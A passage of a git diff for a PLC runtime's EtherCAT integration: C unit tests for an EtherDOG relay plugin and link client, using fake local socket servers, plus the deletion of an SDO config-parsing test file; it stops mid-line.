NULL, NULL); + if (fd < 0) + continue; + char buf[4096]; + size_t used = 0; + while (atomic_load(&serving)) { + struct pollfd c = { .fd = fd, .events = POLLIN }; + if (poll(&c, 1, 50) <= 0) + continue; + ssize_t n = recv(fd, buf + used, sizeof(buf) - 1 - used, 0); + if (n <= 0) + break; + used += (size_t)n; + buf[used] = '\0'; + char *nl; + while ((nl = strchr(buf, '\n')) != NULL) { + *nl = '\0'; + handle(fd, buf); + used -= (size_t)(nl + 1 - buf); + memmove(buf, nl + 1, used + 1); + } + } + close(fd); + } + return NULL; +} + +static void put_le(uint8_t *p, uint64_t v, int n) +{ + for (int i = 0; i < n; i++) + p[i] = (uint8_t)(v >> (8 * i)); +} + +/* One input frame per feed_interval_us while feeding: bit 0 set. */ +static void *feed_inputs(void *arg) +{ + (void)arg; + uint32_t seq = 0; + while (atomic_load(&serving)) { + if (atomic_load(&feeding) && atomic_load(&have_client)) { + uint8_t f[EDL_FRAME_HEADER + 1]; + memcpy(f, "EDOG", 4); + f[4] = 1; + f[5] = 2; + f[6] = (uint8_t)atomic_load(&feed_master); + f[7] = EDL_FLAG_VALID | EDL_FLAG_WKC_OK; + put_le(f + 8, SESSION_ID, 8); + put_le(f + 16, ++seq, 4); + put_le(f + 20, 1, 2); + put_le(f + 22, 1, 2); + f[EDL_FRAME_HEADER] = 0x01; + sendto(data_fd, f, sizeof(f), 0, (struct sockaddr *)&client_addr, sizeof(client_addr)); + for (int j = atomic_load(&junk_per_frame); j > 0; j--) { + const uint8_t junk[4] = { 'J', 'U', 'N', 'K' }; + sendto(data_fd, junk, sizeof(junk), 0, (struct sockaddr *)&client_addr, + sizeof(client_addr)); + } + } + usleep((useconds_t)atomic_load(&feed_interval_us)); + } + return NULL; +} + +/* --- fake runtime ------------------------------------------------------------------------ */ + +#define BUF 8 +static IEC_BOOL bool_vals[BUF][8]; +static IEC_BOOL *bool_ptrs[BUF][8]; +static plugin_runtime_args_t args; +static atomic_int input_bit_writes; +static atomic_int n_plc_stop; +static char plc_stop_reason[600]; + +static void fake_request_plc_stop(const char *reason) +{ + snprintf(plc_stop_reason, sizeof(plc_stop_reason), "%s", reason); + atomic_fetch_add(&n_plc_stop, 1); +} +static char warnings[4096]; +static pthread_mutex_t warn_lock = PTHREAD_MUTEX_INITIALIZER; + +static void noop_lock(void) {} +static int fake_bool(int type, int index, int bit, int value) +{ + (void)type; + if (index == 0 && bit == 0 && value == 1) + atomic_fetch_add(&input_bit_writes, 1); + return 0; +} +static int fake_byte(int t, int i, int v) { (void)t; (void)i; (void)v; return 0; } +static int fake_int(int t, int i, int v) { (void)t; (void)i; (void)v; return 0; } +static int fake_dint(int t, int i, unsigned int v) { (void)t; (void)i; (void)v; return 0; } +static int fake_lint(int t, int i, unsigned long long v) { (void)t; (void)i; (void)v; return 0; } +static void log_quiet(const char *fmt, ...) { (void)fmt; } +static void log_warn(const char *fmt, ...) +{ + char line[512]; + va_list ap; + va_start(ap, fmt); + vsnprintf(line, sizeof(line), fmt, ap); + va_end(ap); + pthread_mutex_lock(&warn_lock); + strncat(warnings, line, sizeof(warnings) - strlen(warnings) - 2); + strcat(warnings, "\n"); + pthread_mutex_unlock(&warn_lock); +} + +static bool wait_for(atomic_int *counter, int at_least, int timeout_ms) +{ + for (int t = 0; t < timeout_ms; t += 10) { + if (atomic_load(counter) >= at_least) + return true; + usleep(10000); + } + return false; +} + +static double now_s(void) +{ + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return ts.tv_sec + ts.tv_nsec / 1e9; +} + +void setUp(void) +{ + long pid = (long)getpid(); + snprintf(ctl_path, sizeof(ctl_path), "/tmp/edog-relay-ctl-%ld.sock", pid); + snprintf(data_path, sizeof(data_path), "/tmp/edog-relay-data-%ld.sock", pid); + snprintf(session_path, sizeof(session_path), "/tmp/edog-relay-session-%ld.json", pid); + snprintf(mapping_path, sizeof(mapping_path), "/tmp/edog-relay-map-%ld.json", pid); + unlink(ctl_path); + unlink(data_path); + + FILE *fp = fopen(session_path, "w"); + fprintf(fp, "{\"control\":\"unix:%s\",\"data\":\"unix\",\"busconfig\":\"/tmp/bus.json\"}", ctl_path); + fclose(fp); + fp = fopen(mapping_path, "w"); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[{\"slave\":1," + "\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%%IX0.0\"}]}]}"); + fclose(fp); + setenv("ETHERDOG_SESSION_FILE", session_path, 1); + + struct sockaddr_un a; + memset(&a, 0, sizeof(a)); + a.sun_family = AF_UNIX; + snprintf(a.sun_path, sizeof(a.sun_path), "%s", ctl_path); + listen_fd = socket(AF_UNIX, SOCK_STREAM, 0); + TEST_ASSERT_EQUAL_INT(0, bind(listen_fd, (struct sockaddr *)&a, sizeof(a))); + TEST_ASSERT_EQUAL_INT(0, listen(listen_fd, 4)); + snprintf(a.sun_path, sizeof(a.sun_path), "%s", data_path); + data_fd = socket(AF_UNIX, SOCK_DGRAM, 0); + TEST_ASSERT_EQUAL_INT(0, bind(data_fd, (struct sockaddr *)&a, sizeof(a))); + + atomic_store(&serving, true); + atomic_store(&feeding, false); + atomic_store(&have_client, false); + atomic_store(&n_configure, 0); + atomic_store(&n_start, 0); + atomic_store(&n_stop, 0); + atomic_store(&input_bit_writes, 0); + atomic_store(&n_plc_stop, 0); + plc_stop_reason[0] = '\0'; + layout_reply = LAYOUT; + atomic_store(&feed_master, 0); + atomic_store(&feed_interval_us, 5000); + atomic_store(&junk_per_frame, 0); + atomic_store(&configure_priority, 50); + warnings[0] = '\0'; + pthread_create(&ctl_thread, NULL, serve_control, NULL); + pthread_create(&feed_thread, NULL, feed_inputs, NULL); + + memset(&args, 0, sizeof(args)); + for (int i = 0; i < BUF; i++) + for (int b = 0; b < 8; b++) + bool_ptrs[i][b] = &bool_vals[i][b]; + args.bool_input = bool_ptrs; + args.bool_output = bool_ptrs; + args.buffer_size = BUF; + args.image_lock = noop_lock; + args.image_unlock = noop_lock; + args.journal_write_bool = fake_bool; + args.journal_write_byte = fake_byte; + args.journal_write_int = fake_int; + args.journal_write_dint = fake_dint; + args.journal_write_lint = fake_lint; + args.log_info = log_quiet; + args.log_debug = log_quiet; + args.log_warn = log_warn; + args.log_error = log_warn; + args.request_plc_stop = fake_request_plc_stop; + snprintf(args.plugin_specific_config_file_path, sizeof(args.plugin_specific_config_file_path), + "%s", mapping_path); +} + +void tearDown(void) +{ + atomic_store(&serving, false); + pthread_join(ctl_thread, NULL); + pthread_join(feed_thread, NULL); + close(listen_fd); + close(data_fd); + unlink(ctl_path); + unlink(data_path); + unlink(session_path); + unlink(mapping_path); +} + +void test_start_configures_starts_and_publishes_inputs(void) +{ + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 3, 2000)); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_configure)); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_start)); + + double t0 = now_s(); + stop_loop(); + TEST_ASSERT_TRUE(now_s() - t0 < 1.0); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_stop)); +} + +void test_relay_reconnects_and_warns_when_etherdog_goes_quiet(void) +{ + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 1, 2000)); + + atomic_store(&feeding, false); /* EtherDOG stops sending: the relay must notice */ + TEST_ASSERT_TRUE(wait_for(&n_start, 2, 4000)); + TEST_ASSERT_EQUAL_INT(2, atomic_load(&n_configure)); + int before = atomic_load(&input_bit_writes); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, before + 3, 2000)); + + stop_loop(); + pthread_mutex_lock(&warn_lock); + TEST_ASSERT_NOT_NULL(strstr(warnings, "master 0 sent no data for 1 s")); + pthread_mutex_unlock(&warn_lock); +} + +static void listen_control(void) +{ + struct sockaddr_un a; + memset(&a, 0, sizeof(a)); + a.sun_family = AF_UNIX; + snprintf(a.sun_path, sizeof(a.sun_path), "%s", ctl_path); + listen_fd = socket(AF_UNIX, SOCK_STREAM, 0); + TEST_ASSERT_EQUAL_INT(0, bind(listen_fd, (struct sockaddr *)&a, sizeof(a))); + TEST_ASSERT_EQUAL_INT(0, listen(listen_fd, 4)); + atomic_store(&serving, true); + pthread_create(&ctl_thread, NULL, serve_control, NULL); +} + +void test_start_before_etherdog_is_ready_retries_until_it_is(void) +{ + /* No control socket yet: EtherDOG is still starting */ + atomic_store(&serving, false); + pthread_join(ctl_thread, NULL); + close(listen_fd); + unlink(ctl_path); + + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + usleep(300 * 1000); + TEST_ASSERT_EQUAL_INT(0, atomic_load(&n_configure)); + pthread_mutex_lock(&warn_lock); + TEST_ASSERT_NOT_NULL(strstr(warnings, "link down, retrying")); + pthread_mutex_unlock(&warn_lock); + + /* feed_thread exited with serving=false; restart it with the control socket */ + pthread_join(feed_thread, NULL); + listen_control(); + pthread_create(&feed_thread, NULL, feed_inputs, NULL); + + TEST_ASSERT_TRUE(wait_for(&n_start, 1, 3000)); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 3, 2000)); + stop_loop(); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_stop)); +} + +static void write_mapping_entry(const char *index) +{ + FILE *fp = fopen(mapping_path, "w"); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[{\"slave\":1," + "\"index\":\"%s\",\"subindex\":1,\"iec_location\":\"%%IX0.0\"}]}]}", + index); + fclose(fp); +} + +void test_a_mapping_that_cannot_bind_stops_the_bus_and_the_plc_once(void) +{ + write_mapping_entry("0x6999"); /* not in the layout */ + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&n_plc_stop, 1, 3000)); + TEST_ASSERT_NOT_NULL(strstr(plc_stop_reason, "0x6999")); + TEST_ASSERT_TRUE(wait_for(&n_stop, 1, 2000)); + + usleep(2500 * 1000); /* longer than the reconnect backoff: no retry may follow */ + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_start)); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_plc_stop)); + stop_loop(); +} + +void test_malformed_datagrams_do_not_count_as_silence(void) +{ + atomic_store(&feed_interval_us, 200 * 1000); + atomic_store(&junk_per_frame, 20); + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 1, 2000)); + + usleep(2000 * 1000); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_start)); + stop_loop(); + pthread_mutex_lock(&warn_lock); + TEST_ASSERT_NULL(strstr(warnings, "no data for 1 s")); + pthread_mutex_unlock(&warn_lock); +} + +void test_an_unmapped_master_does_not_hide_a_silent_mapped_one(void) +{ + layout_reply = LAYOUT_TWO; + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 1, 2000)); + + atomic_store(&feed_master, 1); /* only the unmapped master keeps sending */ + TEST_ASSERT_TRUE(wait_for(&n_start, 2, 4000)); + stop_loop(); + pthread_mutex_lock(&warn_lock); + TEST_ASSERT_NOT_NULL(strstr(warnings, "master 0 sent no data for 1 s")); + pthread_mutex_unlock(&warn_lock); +} + +static atomic_int fifo_attempts; +static atomic_int fifo_priority_seen; + +static void log_watch(const char *fmt, ...) +{ + char line[512]; + va_list ap; + va_start(ap, fmt); + vsnprintf(line, sizeof(line), fmt, ap); + va_end(ap); + const char *p = strstr(line, "SCHED_FIFO("); + if (p != NULL) { + atomic_fetch_add(&fifo_attempts, 1); + atomic_store(&fifo_priority_seen, atoi(p + strlen("SCHED_FIFO("))); + } + pthread_mutex_lock(&warn_lock); + strncat(warnings, line, sizeof(warnings) - strlen(warnings) - 2); + strcat(warnings, "\n"); + pthread_mutex_unlock(&warn_lock); +} + +void test_relay_priority_is_capped_below_the_dispatcher(void) +{ + /* Unprivileged, SCHED_FIFO is refused and the warning names the priority it asked for. */ + atomic_store(&configure_priority, 99); + atomic_store(&fifo_attempts, 0); + atomic_store(&fifo_priority_seen, 0); + args.log_warn = log_watch; + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 1, 2000)); + stop_loop(); + if (atomic_load(&fifo_attempts) == 0) + TEST_IGNORE_MESSAGE("SCHED_FIFO was granted; the requested priority is not observable"); + TEST_ASSERT_EQUAL_INT(97, atomic_load(&fifo_priority_seen)); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&fifo_attempts)); /* only after the link is up */ +} diff --git a/tests/test_ethercat_sdo_config.c b/tests/test_ethercat_sdo_config.c deleted file mode 100644 index e958aa29..00000000 --- a/tests/test_ethercat_sdo_config.c +++ /dev/null @@ -1,280 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_sdo_config.c - * @brief Unit tests for SDO value parsing in ecat_config_parse() - * - * Verifies that the parser correctly handles SDO values as both - * JSON numbers and JSON strings (decimal, hex, float, negative). - * Exercises the get_numeric_value() helper via ecat_config_parse(). - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/** - * Helper: write a minimal JSON config with a single slave that has one SDO - * entry whose "value" field is set to the provided raw JSON token. - * Returns the path to the temp file. - */ -static const char *TEMP_FILE = "test_sdo_config_tmp.json"; - -static int write_sdo_json(const char *value_token, const char *data_type) -{ - FILE *fp = fopen(TEMP_FILE, "w"); - if (!fp) - return -1; - - fprintf(fp, - "[{\n" - " \"name\": \"test\",\n" - " \"protocol\": \"ETHERCAT\",\n" - " \"config\": {\n" - " \"master\": { \"interface\": \"eth0\", \"cycle_time_us\": 1000, " - "\"receive_timeout_us\": 2000 },\n" - " \"slaves\": [{\n" - " \"position\": 1,\n" - " \"name\": \"TestSlave\",\n" - " \"type\": \"coupler\",\n" - " \"vendor_id\": \"0x00000002\",\n" - " \"product_code\": \"0x00000001\",\n" - " \"revision\": \"0x00000001\",\n" - " \"channels\": [],\n" - " \"sdo_configurations\": [{\n" - " \"index\": \"0x8000\",\n" - " \"subindex\": 1,\n" - " \"value\": %s,\n" - " \"data_type\": \"%s\",\n" - " \"name\": \"TestSDO\"\n" - " }],\n" - " \"rx_pdos\": [],\n" - " \"tx_pdos\": []\n" - " }],\n" - " \"diagnostics\": {}\n" - " }\n" - "}]\n", - value_token, data_type); - - fclose(fp); - return 0; -} - -static void cleanup_temp(void) -{ - remove(TEMP_FILE); -} - -/* ---- JSON number values ---- */ - -void test_sdo_parse_NumberValue_ShouldStoreCorrectly(void) -{ - write_sdo_json("100", "UINT16"); - - /* ecat_config_t is too large for the stack; use static */ - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, config.slave_count); - TEST_ASSERT_EQUAL_INT(1, config.slaves[0].sdo_count); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 100.0, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT16, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_NegativeNumber_ShouldStoreCorrectly(void) -{ - write_sdo_json("-50", "INT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, -50.0, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT16, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_FloatNumber_ShouldStoreCorrectly(void) -{ - write_sdo_json("3.14", "REAL"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 3.14, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -/* ---- JSON string values (backward compatibility with old editor) ---- */ - -void test_sdo_parse_StringDecimal_ShouldParseAsNumber(void) -{ - write_sdo_json("\"100\"", "UINT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 100.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -void test_sdo_parse_StringHex_ShouldParseAsNumber(void) -{ - write_sdo_json("\"0xFF\"", "UINT8"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 255.0, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT8, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_StringFloat_ShouldParseAsNumber(void) -{ - write_sdo_json("\"3.14\"", "REAL32"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 3.14, config.slaves[0].sdo_configs[0].value); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_StringNegative_ShouldParseAsNumber(void) -{ - write_sdo_json("\"-50\"", "INT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, -50.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -void test_sdo_parse_StringEmpty_ShouldDefaultToZero(void) -{ - write_sdo_json("\"\"", "UINT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 0.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -/* ---- Missing value field ---- */ - -void test_sdo_parse_MissingValue_ShouldDefaultToZero(void) -{ - /* Write JSON without a "value" field */ - FILE *fp = fopen(TEMP_FILE, "w"); - TEST_ASSERT_NOT_NULL(fp); - - fprintf(fp, - "[{\n" - " \"name\": \"test\",\n" - " \"protocol\": \"ETHERCAT\",\n" - " \"config\": {\n" - " \"master\": { \"interface\": \"eth0\", \"cycle_time_us\": 1000, " - "\"receive_timeout_us\": 2000 },\n" - " \"slaves\": [{\n" - " \"position\": 1,\n" - " \"name\": \"TestSlave\",\n" - " \"type\": \"coupler\",\n" - " \"vendor_id\": \"0x00000002\",\n" - " \"product_code\": \"0x00000001\",\n" - " \"revision\": \"0x00000001\",\n" - " \"channels\": [],\n" - " \"sdo_configurations\": [{\n" - " \"index\": \"0x8000\",\n" - " \"subindex\": 1,\n" - " \"data_type\": \"UINT16\",\n" - " \"name\": \"TestSDO\"\n" - " }],\n" - " \"rx_pdos\": [],\n" - " \"tx_pdos\": []\n" - " }],\n" - " \"diagnostics\": {}\n" - " }\n" - "}]\n"); - fclose(fp); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 0.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -/* ---- Data type resolution in SDO ---- */ - -void test_sdo_parse_DataType_ShouldResolveParsedType(void) -{ - write_sdo_json("42", "DINT"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT32, config.slaves[0].sdo_configs[0].parsed_type); - - cleanup_temp(); -} - -void test_sdo_parse_LrealDataType_ShouldResolveReal64(void) -{ - write_sdo_json("1.5", "LREAL"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, config.slaves[0].sdo_configs[0].parsed_type); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 1.5, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} - -/* ---- Large hex value ---- */ - -void test_sdo_parse_StringLargeHex_ShouldParseCorrectly(void) -{ - write_sdo_json("\"0x1A2B\"", "UINT16"); - - static ecat_config_t config; - int rc = ecat_config_parse(TEMP_FILE, &config); - - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_DOUBLE_WITHIN(0.001, 6699.0, config.slaves[0].sdo_configs[0].value); - - cleanup_temp(); -} diff --git a/tests/test_etherdog_link.c b/tests/test_etherdog_link.c new file mode 100644 index 00000000..bc26e4b1 --- /dev/null +++ b/tests/test_etherdog_link.c @@ -0,0 +1,263 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file test_etherdog_link.c + * @brief Unit tests for the EtherDOG client: session file, control replies and data frames. + */ + +#include "etherdog_link.h" +#include "unity.h" + +#include +#include +#include +#include +#include +#include + +TEST_SOURCE_FILE("core/src/drivers/plugins/native/cjson/cJSON.c") + +static const char *SESSION = "test_etherdog_link_session.json"; +static edl_link_t lk; +static int peer = -1; + +void setUp(void) +{ + edl_init(&lk); + peer = -1; +} + +void tearDown(void) +{ + edl_close(&lk); + if (peer >= 0) + close(peer); + remove(SESSION); +} + +static void write_session(const char *json) +{ + FILE *fp = fopen(SESSION, "w"); + TEST_ASSERT_NOT_NULL(fp); + fputs(json, fp); + fclose(fp); +} + +static void put_le(uint8_t *p, uint64_t v, int n) +{ + for (int i = 0; i < n; i++) + p[i] = (uint8_t)(v >> (8 * i)); +} + +/* An input frame as EtherDOG sends it. */ +static size_t make_frame(uint8_t *buf, uint8_t kind, uint8_t master, uint64_t session, + uint16_t len, uint8_t flags) +{ + memcpy(buf, "EDOG", 4); + buf[4] = 1; + buf[5] = kind; + buf[6] = master; + buf[7] = flags; + put_le(buf + 8, session, 8); + put_le(buf + 16, 1, 4); + put_le(buf + 20, len, 2); + put_le(buf + 22, 3, 2); + for (int i = 0; i < len; i++) + buf[EDL_FRAME_HEADER + i] = (uint8_t)(0xA0 + i); + return EDL_FRAME_HEADER + len; +} + +static void open_data_pair(uint64_t session) +{ + int sv[2]; + TEST_ASSERT_EQUAL_INT(0, socketpair(AF_UNIX, SOCK_DGRAM, 0, sv)); + lk.data_fd = sv[0]; + peer = sv[1]; + lk.open[0] = true; + lk.session[0] = session; +} + +/* --- session file ------------------------------------------------------------------------ */ + +void test_session_reads_endpoint_transport_and_busconfig(void) +{ + write_session("{\"control\":\"unix:/run/x.sock\",\"data\":\"udp\",\"busconfig\":\"/b.json\"}"); + edl_session_t s; + char err[256]; + TEST_ASSERT_EQUAL_INT(0, edl_read_session(SESSION, &s, err, sizeof(err))); + TEST_ASSERT_EQUAL_STRING("unix:/run/x.sock", s.control); + TEST_ASSERT_TRUE(s.udp); + TEST_ASSERT_EQUAL_STRING("/b.json", s.busconfig); + TEST_ASSERT_EQUAL_STRING("", s.token); +} + +void test_session_disabled_returns_reason(void) +{ + write_session("{\"disabled\":\"Npcap is not installed\"}"); + edl_session_t s; + char err[256]; + TEST_ASSERT_EQUAL_INT(EDL_DISABLED, edl_read_session(SESSION, &s, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "Npcap is not installed")); +} + +void test_session_missing_file_fails(void) +{ + edl_session_t s; + char err[256]; + TEST_ASSERT_EQUAL_INT(-1, edl_read_session("/nonexistent/etherdog.json", &s, err, sizeof(err))); +} + +/* --- control replies --------------------------------------------------------------------- */ + +#define BIG_REPLY (1024 * 1024) + +static void *big_reply_server(void *arg) +{ + int fd = *(int *)arg; + char req[256]; + if (recv(fd, req, sizeof(req), 0) <= 0) + return NULL; + char *line = malloc(BIG_REPLY + 1); + memset(line, 'x', BIG_REPLY); + line[0] = '"'; + line[BIG_REPLY - 1] = '"'; + line[BIG_REPLY] = '\n'; + size_t off = 0; + while (off < BIG_REPLY + 1) { + ssize_t n = send(fd, line + off, BIG_REPLY + 1 - off, 0); + if (n <= 0) + break; + off += (size_t)n; + } + free(line); + return NULL; +} + +void test_call_returns_reply_longer_than_initial_buffer(void) +{ + int sv[2]; + TEST_ASSERT_EQUAL_INT(0, socketpair(AF_UNIX, SOCK_STREAM, 0, sv)); + lk.ctl_fd = sv[0]; + peer = sv[1]; + pthread_t t; + pthread_create(&t, NULL, big_reply_server, &peer); + + char *reply = NULL; + TEST_ASSERT_EQUAL_INT(0, edl_call(&lk, "{\"command\":\"layout\"}", &reply, 5000)); + pthread_join(t, NULL); + TEST_ASSERT_NOT_NULL(reply); + TEST_ASSERT_EQUAL_size_t(BIG_REPLY, strlen(reply)); + free(reply); +} + +void test_call_times_out_without_reply(void) +{ + int sv[2]; + TEST_ASSERT_EQUAL_INT(0, socketpair(AF_UNIX, SOCK_STREAM, 0, sv)); + lk.ctl_fd = sv[0]; + peer = sv[1]; + char *reply = NULL; + TEST_ASSERT_EQUAL_INT(-1, edl_call(&lk, "{\"command\":\"status\"}", &reply, 50)); + TEST_ASSERT_NULL(reply); +} + +/* --- data frames ------------------------------------------------------------------------- */ + +void test_recv_accepts_valid_input_frame(void) +{ + open_data_pair(0x1122334455667788ull); + uint8_t buf[EDL_FRAME_HEADER + 8]; + size_t n = make_frame(buf, 2, 0, 0x1122334455667788ull, 4, EDL_FLAG_VALID | EDL_FLAG_WKC_OK); + TEST_ASSERT_EQUAL_INT((int)n, (int)send(peer, buf, n, 0)); + + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + int master = -1; + uint8_t flags = 0; + const uint8_t *payload = NULL; + size_t len = 0; + TEST_ASSERT_EQUAL_INT(1, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + TEST_ASSERT_EQUAL_INT(0, master); + TEST_ASSERT_EQUAL_HEX8(EDL_FLAG_VALID | EDL_FLAG_WKC_OK, flags); + TEST_ASSERT_EQUAL_size_t(4, len); + TEST_ASSERT_EQUAL_HEX8(0xA0, payload[0]); + TEST_ASSERT_EQUAL_HEX8(0xA3, payload[3]); +} + +void test_recv_drops_bad_frames(void) +{ + open_data_pair(42); + uint8_t buf[EDL_FRAME_HEADER + 8]; + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + int master; + uint8_t flags; + const uint8_t *payload; + size_t len; + + size_t n = make_frame(buf, 2, 0, 43, 4, EDL_FLAG_VALID); /* wrong session */ + send(peer, buf, n, 0); + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + + n = make_frame(buf, 1, 0, 42, 4, EDL_FLAG_VALID); /* outputs kind */ + send(peer, buf, n, 0); + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + + n = make_frame(buf, 2, 0, 42, 4, EDL_FLAG_VALID); + buf[0] = 'X'; /* bad magic */ + send(peer, buf, n, 0); + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + + n = make_frame(buf, 2, 0, 42, 4, EDL_FLAG_VALID); + send(peer, buf, n - 1, 0); /* length does not match the header */ + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + + n = make_frame(buf, 2, 1, 42, 4, EDL_FLAG_VALID); /* master with no session */ + send(peer, buf, n, 0); + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); +} + +void test_recv_times_out(void) +{ + open_data_pair(1); + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + int master; + uint8_t flags; + const uint8_t *payload; + size_t len; + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 20, &master, &flags, + &payload, &len)); +} + +void test_send_outputs_encodes_header(void) +{ + int sv[2]; + TEST_ASSERT_EQUAL_INT(0, socketpair(AF_UNIX, SOCK_DGRAM, 0, sv)); + lk.data_fd = sv[0]; + peer = sv[1]; + lk.open[0] = true; + lk.session[0] = 0xABCDull; + lk.server_len[0] = 0; /* connected pair: no destination needed */ + + const uint8_t out[3] = { 1, 2, 3 }; + TEST_ASSERT_EQUAL_INT(0, 